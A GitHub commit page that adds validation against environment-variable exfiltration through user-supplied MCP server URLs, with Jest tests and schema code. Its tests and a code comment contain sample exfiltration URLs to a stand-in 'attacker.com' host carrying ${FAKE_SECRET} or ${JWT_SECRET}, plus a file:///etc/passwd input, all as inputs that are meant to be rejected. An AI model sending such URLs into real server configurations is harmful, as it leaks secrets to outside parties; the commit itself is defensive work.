🔏 fix: MCP Server URL Schema Validation (#12204)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run

* fix: MCP server configuration validation and schema

- Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes.
- Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks.
- Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application.

* fix: MCP URL validation to reject env variable references

- Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks.
- Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs.
- Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application.

* test: Enhance MCPServerUserInputSchema tests for environment variable handling

- Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema.
- Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks.
- Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
This commit is contained in:
Danny Avila 2026-03-12 23:19:31 -04:00 committed by GitHub
parent 65b0bfde1b
commit f32907cd36
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
3 changed files with 269 additions and 3 deletions

View file

@ -0,0 +1,147 @@
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
describe('MCPServerUserInputSchema', () => {
describe('env variable exfiltration prevention', () => {
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
process.env.FAKE_SECRET = 'leaked-secret-value';
const adminResult = SSEOptionsSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(adminResult.success).toBe(true);
if (adminResult.success) {
expect(adminResult.data.url).toContain('leaked-secret-value');
}
delete process.env.FAKE_SECRET;
});
it('should reject the same URL through user input schema', () => {
process.env.FAKE_SECRET = 'leaked-secret-value';
const userResult = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(userResult.success).toBe(false);
delete process.env.FAKE_SECRET;
});
});
describe('env variable rejection', () => {
it('should reject SSE URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(result.success).toBe(false);
});
it('should reject streamable-http URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
});
expect(result.success).toBe(false);
});
it('should reject WebSocket URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
});
expect(result.success).toBe(false);
});
});
describe('protocol allowlisting', () => {
it('should reject file:// URLs for SSE', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'file:///etc/passwd',
});
expect(result.success).toBe(false);
});
it('should reject ftp:// URLs for streamable-http', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'ftp://internal-server/data',
});
expect(result.success).toBe(false);
});
it('should reject http:// URLs for WebSocket', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'http://example.com/ws',
});
expect(result.success).toBe(false);
});
it('should reject ws:// URLs for SSE', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'ws://example.com/sse',
});
expect(result.success).toBe(false);
});
});
describe('valid URL acceptance', () => {
it('should accept valid https:// SSE URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('https://mcp-server.com/sse');
}
});
it('should accept valid http:// SSE URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://mcp-server.com/sse',
});
expect(result.success).toBe(true);
});
it('should accept valid wss:// WebSocket URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'wss://mcp-server.com/ws',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('wss://mcp-server.com/ws');
}
});
it('should accept valid ws:// WebSocket URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'ws://mcp-server.com/ws',
});
expect(result.success).toBe(true);
});
it('should accept valid https:// streamable-http URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('https://mcp-server.com/http');
}
});
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'http',
url: 'http://mcp-server.com/mcp',
});
expect(result.success).toBe(true);
});
});
});

View file

@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
oauth_headers: true,
});
const envVarPattern = /\$\{[^}]+\}/;
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
/**
* Builds a URL schema for user input that rejects ${VAR} env variable patterns
* and validates protocol constraints without resolving environment variables.
*/
const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
z
.string()
.refine((val) => !envVarPattern.test(val), {
message: 'Environment variable references are not allowed in URLs',
})
.pipe(z.string().url())
.refine(protocolCheck, { message });
/**
* MCP Server configuration that comes from UI/API input only.
* Omits server-managed fields like startup, timeout, customUserVars, etc.
@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
* Stdio allows arbitrary command execution and should only be configured
* by administrators via the YAML config file (librechat.yaml).
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
*
* SECURITY: URL fields use userUrlSchema instead of the admin schemas'
* extractEnvVariable transform to prevent env variable exfiltration
* through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
* Protocol checks use positive allowlists (http(s) / ws(s)) to block
* file://, ftp://, javascript:, and other non-network schemes.
*/
export const MCPServerUserInputSchema = z.union([
omitServerManagedFields(WebSocketOptionsSchema),
omitServerManagedFields(SSEOptionsSchema),
omitServerManagedFields(StreamableHTTPOptionsSchema),
omitServerManagedFields(WebSocketOptionsSchema).extend({
url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
}),
omitServerManagedFields(SSEOptionsSchema).extend({
url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
}),
omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
}),
]);
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;